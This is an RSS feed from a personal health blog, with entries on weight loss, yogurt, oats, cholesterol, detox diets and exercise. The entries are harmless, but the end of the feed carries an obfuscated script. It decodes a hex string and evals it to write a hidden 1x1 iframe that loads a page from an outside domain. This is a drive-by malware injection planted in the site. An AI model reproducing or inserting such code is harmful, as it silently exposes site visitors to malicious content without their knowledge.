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	<title>scribblingpad.com &#187; Fit Tips</title>
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	<description>The greatest wealth is health</description>
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		<title>Eating Chappati/Rotis and not losing weight?</title>
		<link>http://www.scribblingpad.com/eating-chappatirotis-and-not-losing-weight/</link>
		<comments>http://www.scribblingpad.com/eating-chappatirotis-and-not-losing-weight/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 23:58:23 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[benefits of whole wheat]]></category>
		<category><![CDATA[how to lose weight]]></category>
		<category><![CDATA[indian diet tips]]></category>
		<category><![CDATA[losing weight with indian food]]></category>
		<category><![CDATA[tips to lose weight]]></category>
		<category><![CDATA[whole wheat food]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1595</guid>
		<description><![CDATA[If you are watching your diet or trying to lose / maintain a healthy weight, eating whole grain products is a good choice. But are you actually eating whole grain products is the question you have to ask yourself. I find most of people who have Indian food mention they have rotis or chappatis as [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/eating-chappatirotis-and-not-losing-weight/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Free add-ons for laptop-BACK &amp; NECK Pain</title>
		<link>http://www.scribblingpad.com/free-add-ons-for-laptop-back-neck-pain/</link>
		<comments>http://www.scribblingpad.com/free-add-ons-for-laptop-back-neck-pain/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 20:19:56 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[causes for neck and back pain]]></category>
		<category><![CDATA[how to use laptop]]></category>
		<category><![CDATA[Keyboarding technique]]></category>
		<category><![CDATA[laptop accessory]]></category>
		<category><![CDATA[pointing technique]]></category>
		<category><![CDATA[Posture technique]]></category>
		<category><![CDATA[sitting posture]]></category>
		<category><![CDATA[tips for using laptop]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1549</guid>
		<description><![CDATA[Do you own a laptop? Then you must be having troubles with back or neck pain. If not, don’t worry, its on its way as they are free add-ons which are not mentioned on laptop box. Laptops have become a must have electronic in every home. I have also found many homes without a television [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/free-add-ons-for-laptop-back-neck-pain/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Stay at home and get Fit!!</title>
		<link>http://www.scribblingpad.com/stay-at-home-and-get-fit/</link>
		<comments>http://www.scribblingpad.com/stay-at-home-and-get-fit/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 21:52:19 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[easy exercises]]></category>
		<category><![CDATA[home workout]]></category>
		<category><![CDATA[how to lose weight]]></category>
		<category><![CDATA[steps to gym]]></category>
		<category><![CDATA[steps to workout at home]]></category>
		<category><![CDATA[tips to workout at home]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1338</guid>
		<description><![CDATA[I know you must be wondering, how on earth can I can stay at home and get fit or lose weight? It is possible- &#8216;Where there is Will there is a Way!&#8217; . Some of my friends give reasons that they cannot make it to gym due to unpredictable schedule hours at their work, others [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/stay-at-home-and-get-fit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bacteria is good for you- Yogurt</title>
		<link>http://www.scribblingpad.com/bacteria-is-good-for-you-yogurt/</link>
		<comments>http://www.scribblingpad.com/bacteria-is-good-for-you-yogurt/#comments</comments>
		<pubDate>Tue, 18 May 2010 00:21:34 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[benefits of curd]]></category>
		<category><![CDATA[benefits of yogurt/curd]]></category>
		<category><![CDATA[good bacteria]]></category>
		<category><![CDATA[probiotics benefits]]></category>
		<category><![CDATA[tips for diarrhea and constipation]]></category>
		<category><![CDATA[tips to lose weight]]></category>
		<category><![CDATA[yogurt benefits]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1367</guid>
		<description><![CDATA[Have you ever wondered what we are doing different from our forefathers and grandparents who lived a longer and healthy life? There are many things which we are doing different in this modern life like fast food, lifestyle, sleep patterns, and so on. But did you ever have a hint that the effect of skipping [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/bacteria-is-good-for-you-yogurt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Go Purple and Look younger!!</title>
		<link>http://www.scribblingpad.com/go-purple-and-look-younger/</link>
		<comments>http://www.scribblingpad.com/go-purple-and-look-younger/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 23:29:55 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[anti-aging]]></category>
		<category><![CDATA[antioxidant effects]]></category>
		<category><![CDATA[health benefits of purple foods]]></category>
		<category><![CDATA[how to stay young]]></category>
		<category><![CDATA[purple foods]]></category>
		<category><![CDATA[purple fruits]]></category>
		<category><![CDATA[purple vegetables]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1251</guid>
		<description><![CDATA[Recently after 2 yrs of stay in US , I made a trip to India. Most of my family members and friends were disappointed to see me skinny and were commenting about the way I looked. But simultaneously I was also getting feedbacks like I wasn’t looking my age and looked more like a teenager [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/go-purple-and-look-younger/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Miracle of Water therapy</title>
		<link>http://www.scribblingpad.com/miracle-of-water-therapy/</link>
		<comments>http://www.scribblingpad.com/miracle-of-water-therapy/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 01:28:34 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1219</guid>
		<description><![CDATA[Water therapy- the names looks like its a long process. That is what came to my mind when I got an e-mail few years back about water therapy. But once I went through it fully , I was surprised to know its benefits and thought will give it a try. Its been more than 4 [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/miracle-of-water-therapy/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Think like your pregnant every single day</title>
		<link>http://www.scribblingpad.com/think-like-your-pregnant-every-single-day/</link>
		<comments>http://www.scribblingpad.com/think-like-your-pregnant-every-single-day/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 01:34:12 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[checklist for losing weight]]></category>
		<category><![CDATA[daily checklist]]></category>
		<category><![CDATA[Fit tips]]></category>
		<category><![CDATA[tips to stay healthy]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1187</guid>
		<description><![CDATA[You must be wondering what is this topic about . Well, as all of us know when your pregnant , one should eat healthy, watch their diet and exercise . That is the only time most of the people start browsing the net looking for fiber and nutrition rich foods and simple exercises. Why should [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/think-like-your-pregnant-every-single-day/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Tips for healthy cooking and eating</title>
		<link>http://www.scribblingpad.com/tips-for-healthy-cooking-and-eating/</link>
		<comments>http://www.scribblingpad.com/tips-for-healthy-cooking-and-eating/#comments</comments>
		<pubDate>Thu, 01 Apr 2010 20:49:36 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Food Recipes]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1145</guid>
		<description><![CDATA[When I was working in India, I didn&#8217;t have time to cook. I thought eating out was best option and was doing that for some months .But once the health went for a toss, came to conclusion, homemade food is best. I had a cook for some months but even then had difficult time teaching [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/tips-for-healthy-cooking-and-eating/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Wonder Food- OATS</title>
		<link>http://www.scribblingpad.com/wonder-food-oats/</link>
		<comments>http://www.scribblingpad.com/wonder-food-oats/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 23:40:25 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[grain to maintain weight]]></category>
		<category><![CDATA[health benefits of Oats]]></category>
		<category><![CDATA[lose weight]]></category>
		<category><![CDATA[oats benefits]]></category>
		<category><![CDATA[super food]]></category>
		<category><![CDATA[tips to healthy life]]></category>

		<guid isPermaLink="false">http://www.scribblingpad.com/?p=1047</guid>
		<description><![CDATA[Oats has always been a compulsion food for people who have diabetic or high blood pressure or other health ailments. We never think of oats as normal food unless we are down with fever or trying to lose weight. We consider it to be like a medicine and hence we have no liking towards it. [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/wonder-food-oats/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Top 10 Food which helps to Lower Bad Cholesterol</title>
		<link>http://www.scribblingpad.com/food-which-helps-to-lower-bad-cholesterol/</link>
		<comments>http://www.scribblingpad.com/food-which-helps-to-lower-bad-cholesterol/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 12:47:39 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=837</guid>
		<description><![CDATA[ As discussed in the previous article- &#8221; What is our cholesterol level?&#8221; ,we need to make sure that we consume more foods containing good cholesterol to increase the HDL in the body and reduce the bad cholesterol foods to reduce the -LDL. But how do we know which is good and bad for us? Until [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/food-which-helps-to-lower-bad-cholesterol/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Detoxifying Diet Menu</title>
		<link>http://www.scribblingpad.com/detoxifying-diet-menu/</link>
		<comments>http://www.scribblingpad.com/detoxifying-diet-menu/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 03:04:43 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=800</guid>
		<description><![CDATA[As discussed in the earlier post about Rejuvenate yourself, I thought it would better to give a Detox diet which you can follow once in 3 months or whenever you feel appropriate. Before discussing about what to eat, lets 1st know what foods we are supposed to avoid on the day of detox. I am [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/detoxifying-diet-menu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Rejuvenate Yourself by a Detox!!</title>
		<link>http://www.scribblingpad.com/rejuvenate-yourself-by-a-detox/</link>
		<comments>http://www.scribblingpad.com/rejuvenate-yourself-by-a-detox/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 06:04:00 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=691</guid>
		<description><![CDATA[          Most of us try to eat healthy. But in this modern world where most of the foods are processed or hormones injected and with pollution in air ,water and soil, it is very difficult to lead a steady healthy life. Our body is built to remove the toxins in our [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/rejuvenate-yourself-by-a-detox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What is your Cholesterol Level?</title>
		<link>http://www.scribblingpad.com/what-is-your-cholesterol-level/</link>
		<comments>http://www.scribblingpad.com/what-is-your-cholesterol-level/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 07:02:57 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=665</guid>
		<description><![CDATA[  ‘Cholesterol’ when we hear such a word,we panic thinking its bad without even knowing what it does to us. We just blindly avoid foods which have cholesterol in them and think we will get fit and lose weight. Well, I was doing the same when I initially started my diet. But later realized many [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/what-is-your-cholesterol-level/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are you Bored? Let&#8217;s Booze!!!</title>
		<link>http://www.scribblingpad.com/are-you-bored-lets-booze/</link>
		<comments>http://www.scribblingpad.com/are-you-bored-lets-booze/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 00:26:20 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=631</guid>
		<description><![CDATA[Doesn&#8217;t it sound familiar to u? Ofcourse yes,. That is what most of us do. If we are bored , we invite a few friends, grab a couple of drinks and the boredom just disappears. Its become a trend nowadays to say that you drink to socialize with people. Well even I thought that only [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/are-you-bored-lets-booze/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Lacking concentration? Meditate</title>
		<link>http://www.scribblingpad.com/lacking-concentration-meditate/</link>
		<comments>http://www.scribblingpad.com/lacking-concentration-meditate/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 01:58:43 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=567</guid>
		<description><![CDATA[Have you ever experienced sitting in one place and thinking about a totally different place or scenario? Even when attending an important meeting or session when all of a sudden your in a different world and by the time your back , your lost in the current topic?&#60;!--more--&#62; Most of us have been in similar [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/lacking-concentration-meditate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wanna stay fit ? Never skip your breakfast!!</title>
		<link>http://www.scribblingpad.com/wanna-stay-fit-never-skip-your-breakfast/</link>
		<comments>http://www.scribblingpad.com/wanna-stay-fit-never-skip-your-breakfast/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 23:02:24 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=383</guid>
		<description><![CDATA[  Breakfast” as the name itself explains &#8216;break the fast&#8217; referring to the conclusion of fasting since the previous day&#8217;s last meal. Studies proves that having breakfast increases longevity and better health. It is also very important for weight loss and weight management. Most of us dont have the time for breakfast. They give all [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/wanna-stay-fit-never-skip-your-breakfast/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Y should we Exercise?</title>
		<link>http://www.scribblingpad.com/y-should-we-exercise/</link>
		<comments>http://www.scribblingpad.com/y-should-we-exercise/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 07:27:20 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=270</guid>
		<description><![CDATA[I am fit. I am pretty much in good shape. I am not fat. I am busy at work. I have a family to run. I have kids. I don’t have time. The list never ends. We just find excuses not to exercise coz ultimately we are LAZY. We just don’t want to take the [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/y-should-we-exercise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Myth about Bananas are Fattening</title>
		<link>http://www.scribblingpad.com/myth-about-bananas-are-fattening/</link>
		<comments>http://www.scribblingpad.com/myth-about-bananas-are-fattening/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 05:46:28 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[Bananas]]></category>
		<category><![CDATA[benefits of banana]]></category>
		<category><![CDATA[Diet]]></category>
		<category><![CDATA[lose weight with bananas]]></category>
		<category><![CDATA[Myth about banana]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=296</guid>
		<description><![CDATA[“Whenever I suggest a friend to have bananas as a part of their diet for breakfast or as evening snack, their immediate response would be “Bananas are Fattening, I will gain more weight”. Most of the Indians suffer from the misconception that bananas lead to weight gain, and hence stop consuming bananas when they diet. [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/myth-about-bananas-are-fattening/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Tips for a Better You</title>
		<link>http://www.scribblingpad.com/tips-for-a-better-you/</link>
		<comments>http://www.scribblingpad.com/tips-for-a-better-you/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 02:26:44 +0000</pubDate>
		<dc:creator>Indra</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=208</guid>
		<description><![CDATA[Have you ever questioned yourself if you leading a perfect life and the one you dreamed of? Mostly the answer will be a big NO. Most of us are not satisfied with the life we are currently living. We try to blame others for our mistakes just to make us feel better. We also try [...]]]></description>
		<wfw:commentRss>http://www.scribblingpad.com/tips-for-a-better-you/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Food pyramid</title>
		<link>http://www.scribblingpad.com/thefoodpyramid/</link>
		<comments>http://www.scribblingpad.com/thefoodpyramid/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 02:24:21 +0000</pubDate>
		<dc:creator>sachin</dc:creator>
				<category><![CDATA[Fit Tips]]></category>
		<category><![CDATA[Health]]></category>

		<guid isPermaLink="false">http://scribblingpad.com/?p=174</guid>
		<description><![CDATA[The body requires energy and nutrition which is provided by different kinds of foods. These should be eaten in the right way, and at the right time. Nothing would be more tiresome than eating and drinking if God had not made them a pleasure as well as necessity. – Voltaire EAT TO LIVE WELL If [...]]]></description>
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		<slash:comments>0</slash:comments>
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<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f636173746c6f61642e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>

